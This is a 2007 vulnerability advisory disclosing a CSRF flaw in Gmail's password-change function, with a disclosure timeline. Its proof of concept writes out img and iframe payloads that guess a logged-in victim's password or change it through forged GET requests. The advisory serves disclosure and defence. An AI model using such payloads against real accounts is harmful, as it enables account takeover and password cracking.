=============================================
INTERNET SECURITY AUDITORS ALERT 2007-003
- Original release date: August 1st, 2007
- Last revised: January 11th, 2009
- Discovered by: Vicente Aguilera Diaz
- Severity: 3/5
=============================================

I. VULNERABILITY
-------------------------
CSRF vulnerability in GMail service

II. BACKGROUND
-------------------------
Gmail is Google's free webmail service. It comes with built-in Google
search technology and over 2,600 megabytes of storage (and growing
every day). You can keep all your important messages, files and
pictures forever, use search to quickly and easily find anything
you're looking for, and make sense of it all with a new way of viewing
messages as part of conversations.

III. DESCRIPTION
-------------------------
Cross-Site Request Forgery, also known as one click attack or session
riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of
malicious exploit of websites. Although this type of attack has
similarities to cross-site scripting (XSS), cross-site scripting
requires the attacker to inject unauthorized code into a website,
while cross-site request forgery merely transmits unauthorized
commands from a user the website trusts.

GMail is vulnerable to CSRF attacks in the "Change Password"
functionality. The only token for authenticate the user is a session
cookie, and this cookie is sent automatically by the browser in every
request.

An attacker can create a page that includes requests to the "Change
password" functionality of GMail and modify the passwords of the users
who, being authenticated, visit the page of the attacker.

The attack is facilitated since the "Change Password" request can be
realized across the HTTP GET method instead of the POST method that is
realized habitually across the "Change Password" form.

IV. PROOF OF CONCEPT
-------------------------
1. An attacker create a web page "csrf-attack.html" that realize many
HTTP GET requests to the "Change Password" functionality.

For example, a password cracking of 3 attempts (see "OldPasswd"
parameter):
...
<img
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">
<img
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">
<img
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">
...

or with hidden frames:
...
<iframe
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">
<iframe
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">
<iframe
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">
...

The attacker can use deliberately a weak new password (see "Passwd"
and "PasswdAgain" parameters), this way he can know if the analysed
password is correct without need to modify the password of the victim
user.

Using weak passwords the "Change Password" response is:
 - " The password you gave is incorrect. ", if the analysed password
is not correct.
 - " We're sorry, but you've selected an insecure password. In order
to protect the security of your account, please click "Password
Strength" to get tips on choosing to safer password. ", if the
analysed password is correct and the victim password is not modified.

If the attacker want to modify the password of the victim user, the
waited response message is: " Your new password has been saved - OK ".

In any case, the attacker evades the restrictions imposed by the
captcha of the authentication form.

2. A user authenticated in GMail visit the "csrf-attack.html" page
controlled by the attacker.

For example, the attacker sends a mail to the victim (a GMail account)
and provokes that the victim visits his page (social engineering). So,
the attacker insures himself that the victim is authenticated.

3. The password cracking is executed transparently to the victim.

V. BUSINESS IMPACT
-------------------------
- Selective DoS on users of the GMail service (changing user password).
- Possible access to the mail of other GMail users.

VI. SYSTEMS AFFECTED
-------------------------
Gmail service.

VII. SOLUTION
-------------------------
No solution provided by vendor.

VIII. REFERENCES
-------------------------
http://www.gmail.com

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported by
Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).

X. REVISION HISTORY
-------------------------
July      31, 2007: Initial release
August     1, 2007: Fewer corrections.
December  30, 2008: Last details.

XI. DISCLOSURE TIMELINE
-------------------------
July      30, 2007: Vulnerability acquired by
                    Internet Security Auditors.
August     1, 2007: Initial notification sent to the
                    Google security team.
August     1, 2007: Google security team request additional
                    information.
                    about and start review the vulnerability.
August    13, 2007: Request information about the status.
August    15, 2007: Google security team responds that they are still
                    working on this.
September 19, 2007: Request for the status. No response.
November  26, 2007: Request for the status. No response.
January    2, 2008: Request for the status. No response.
January    4, 2008: Request for the status. No response.
January   11, 2008: Request for the status. No response.
January   15, 2008: Request for the status. Automated response.
January   18, 2008: Google security team informs that don't expect
                    behaviour to change in the short term giving
                    the justification.
                    We deconstruct those arguments as insufficient.
                    No more responses.
December  30, 2008: Request for the status. Confirmation from Google
                    they won't change the consideration about this.
January   11, 2009: Publication to Bugtraq. Rejected twice.
                    No reasons.
March     03, 2009: General publication for disclosure in other lists.

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.